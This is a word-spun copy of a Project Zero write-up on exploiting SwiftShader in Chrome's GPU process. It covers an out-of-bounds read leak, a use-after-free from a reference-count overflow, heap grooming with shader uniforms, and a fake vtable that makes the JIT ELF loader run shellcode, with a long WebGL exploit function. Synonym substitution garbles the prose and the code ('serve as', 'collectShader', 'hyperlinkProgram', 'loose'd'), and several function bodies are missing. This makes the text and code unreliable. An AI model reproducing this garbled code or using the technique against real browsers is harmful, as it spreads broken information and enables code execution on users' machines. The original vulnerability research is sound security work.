Heap Feng Shader: Exploiting SwiftShader in Chrome

Posted by way of Mark Brand, Google Project Zero


On nearly all of techniques, underneath customary stipulations, SwiftShader won’t ever be utilized by Chrome – it’s used as a fallback when you’ve got a known-bad “blacklisted” graphics card or motive force. However, Chrome too can come to a decision at runtime that your graphics motive force is having problems, and turn to the use of SwiftShader to offer a greater person enjoy. If you’re to look the efficiency distinction, or simply to have a play, you’ll be able to release Chrome the use of SwiftShader as a substitute of GPU acceleration the use of the –disable-gpu command line flag.


SwiftShader is fairly a captivating assault floor in Chrome, since the entire rendering paintings is completed in a separate procedure; the GPU procedure. Since this procedure is chargeable for drawing to the display screen, it must have extra privileges than the highly-sandboxed renderer processes which are normally dealing with webpage content material. On conventional Linux desktop gadget configurations, technical boundaries in sandboxing get entry to to the X11 server imply that this sandbox may be very vulnerable; on different platforms similar to Windows, the GPU procedure nonetheless has get entry to to a considerably higher kernel assault floor. Can we write an exploit that will get code execution in the GPU procedure with out first compromising a renderer? We’ll take a look at exploiting two problems that we reported that had been just lately fastened by way of Chrome.


It seems that when you’ve got a supported GPU, it’s nonetheless moderately easy for an attacker to pressure your browser to make use of SwiftShader for sped up graphics – if the GPU procedure crashes greater than 4 instances, Chrome will fallback to this device rendering trail as a substitute of disabling acceleration. In my checking out it’s fairly easy to reason the GPU procedure to crash or hit an out-of-memory situation from WebGL – that is left as an workout for the reader. For the remainder of this blog-post we’ll be assuming that the GPU procedure is already in the fallback device rendering mode.


Previous precision issues


So; we prior to now mentioned a knowledge leak factor due to some precision problems in the SwiftShader code – so we’ll get started right here, with an invaluable leaking primitive from this factor. A bit little bit of taking part in round introduced me to the next consequence, which is able to allocate a texture of measurement 0xb620000 in the GPU procedure, and when the serve as learn()is named on it’ll go back the 0x10000 bytes immediately following that buffer again to javascript. (The allocation will occur on the first line marked in daring, and the out-of-bounds get entry to occurs at the second one).


serve as issue_1584(gl)


This may look like fairly a crude leak primitive, however since SwiftShader is the use of the gadget heap, it’s fairly simple to prepare for the reminiscence immediately following this allocation to be obtainable safely.


And a 2nd trojan horse


Now, the following vulnerability we have now is a use-after-free of an egl::ImageImplementation object brought about by way of a reference rely overflow. This object is fairly a pleasing object from an exploitation standpoint, since from javascript we will be able to learn and write from the knowledge it retail outlets, so it kind of feels just like the nicest exploitation means can be to exchange this object with a corrupted model; then again, because it’s a c++ object we’ll wish to damage ASLR in the GPU procedure to succeed in this. If you’re studying alongside in the exploit code, the serve as leak_image in feng_shader.html implements a crude spray of egl::ImageImplementation gadgets and makes use of the tips leak above to seek out an object to replicate.


So – a stock-take. We’ve simply loose’d an object, and we all know precisely what the knowledge that *will have to* be in that object looks as if. This turns out easy – now we simply wish to discover a primitive that can permit us to exchange it!


This was once in fact probably the most irritating a part of the exploit. Due to the more than one ranges of validation/duplication/copying that happen when OpenGL instructions are handed from WebGL to the GPU procedure (Initial WebGL validation (in renderer), GPU command buffer interface, ANGLE validation), getting a unmarried allocation of a managed measurement with managed information is non-trivial! The majority of allocations that you simply’d be expecting to be helpful (symbol/texture information and so on.) finally end up having loads of measurement restrictions or being rounded to other sizes.


However, there’s one great primitive for doing this – shader uniforms. This is the way in which in which parameters are handed to programmable GPU shaders; and if we glance in the SwiftShader code we will be able to see that (in the end) when those are allotted they’ll do an immediate name to operator new[]. We can learn and write from the knowledge saved in a uniform, so this may increasingly give us the primitive that we want.


The code underneath implements this method for (very elementary) heap grooming in the SwiftShader/GPU procedure, and an optimised means for overflowing the reference rely. The shader supply code (the primary daring segment) will reason 4 allocations of measurement 0xf0 when this system object is related, and the second one daring segment is the place the unique object shall be loose’d and changed by way of a shader uniform object.


serve as issue_1585(gl, faux) {
 let vertex_shader = gl.createShader(gl.VERTEX_SHADER);
 gl.shaderSource(vertex_shader, `
   characteristic vec4 place;
   uniform int block0[60];
   uniform int block1[60];
   uniform int block2[60];
   uniform int block3[60];


   void major() `);
 gl.collectShader(vertex_shader);


 let fragment_shader = gl.createShader(gl.FRAGMENT_SHADER);
 gl.shaderSource(fragment_shader, `
   void major() `);
 gl.collectShader(fragment_shader);


 this.program = gl.createProgram();
 gl.connectShader(this.program, vertex_shader);
 gl.connectShader(this.program, fragment_shader);


 const uaf_width = 8190;
 const uaf_height = 8190;


 this.facebook = gl.createFramebuffer();
 uaf_rb = gl.createRenderbuffer();


 gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.facebook);
 gl.bindRenderbuffer(gl.RENDERBUFFER, uaf_rb);
 gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA32UI, uaf_width, uaf_height);
 gl.framebufferRenderbuffer(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, uaf_rb);


 let tex = gl.createTexture();
 gl.bindTexture(gl.TEXTURE_CUBE_MAP, tex);
 // cause
 for (i = 2; i < 0x10; ++i)
   gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0);
 


 serve as unroll(gl)
   gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0);
   // snip …
   gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0);
 


 for (i = 0x10; i < 0x100000000; i += 0x10)
   unroll(gl);
 


 // the egl::ImageImplementation for the rendertarget of uaf_rb is now 0, so
 // this name will loose it, leaving a hanging reference
 gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, 256, 256, 0);


 // substitute the allocation with our shader uniform.
 gl.hyperlinkProgram(this.program);
 gl.useProgram(this.program);


 serve as wait(ms)
   var get started = Date.now(),
   now = get started;
   whilst (now – get started < ms)
 


 serve as learn(uaf, index)


 serve as write(uaf, index, buffer)


 this.learn = serve as()


 this.write = serve as(buffer)
   go back write(this, this.index, buffer);
 


 for (var i = 0; i < 4; ++i)
   write(this, i, faux.buffer);
 


 gl.readPixels(0, 0, 2, 2, gl.RGBA_INTEGER, gl.UNSIGNED_INT, new Uint32Array(2 * 2 * 16));
 for (var i = 0; i < 4; ++i)
   information = new DataView(learn(this, i));
   for (var j = 0; j < 0xf0; ++j)
 
}


At this level we will be able to regulate the item to permit us to learn and write from the entire GPU procedure’ reminiscence; see the read_write serve as for the way the gl.readPixels and gl.blitFramebuffer strategies are used for this.


Now, it will have to be somewhat trivial to get arbitrary code execution from this level, even though it’s ceaselessly a ache to get your ROP chain to line up effectively when it’s a must to substitute a c++ object, it is a very tractable downside. It seems, despite the fact that, that there’s every other trick that can make this exploit extra sublime.


SwiftShader makes use of JIT compilation of shaders to get as top efficiency as conceivable – and that JIT compiler makes use of every other c++ object to care for loading and mapping the generated ELF executables into reminiscence. Maybe we will be able to create a faux object that makes use of our egl::ImageImplementation object as a SubzeroReactor::ELFMemoryStreamer object, and feature the GPU procedure load an ELF report for us as a payload, as a substitute of fiddling round ourselves?


We can – so by way of developing a faux vtable such that:
egl::ImageImplementation::lockInternal -> egl::ImageImplementation::lockInternal
egl::ImageImplementation::free upInternal -> ELFMemoryStreamer::getEntry
egl::ImageImplementation::free up -> shellcode


When we then learn from this symbol object, as a substitute of returning pixels to javascript, we’ll execute our shellcode payload in the GPU procedure.


Conclusions

It’s attention-grabbing that we will be able to in finding immediately javascript-accessible assault floor in some not likely puts in a contemporary browser codebase after we take a look at issues sideways – averting the possibly extra obtrusive and extremely contested spaces similar to the principle javascript JIT engine.


In many codebases, there’s a lengthy historical past of building and there are lots of trade-offs made for compatibility and consistency throughout releases. It’s price reviewing a few of these to look whether or not the unique expectancies grew to become out to be legitimate after the discharge of those options, and in the event that they nonetheless hang these days, or if those options can in fact be got rid of with out important have an effect on to customers.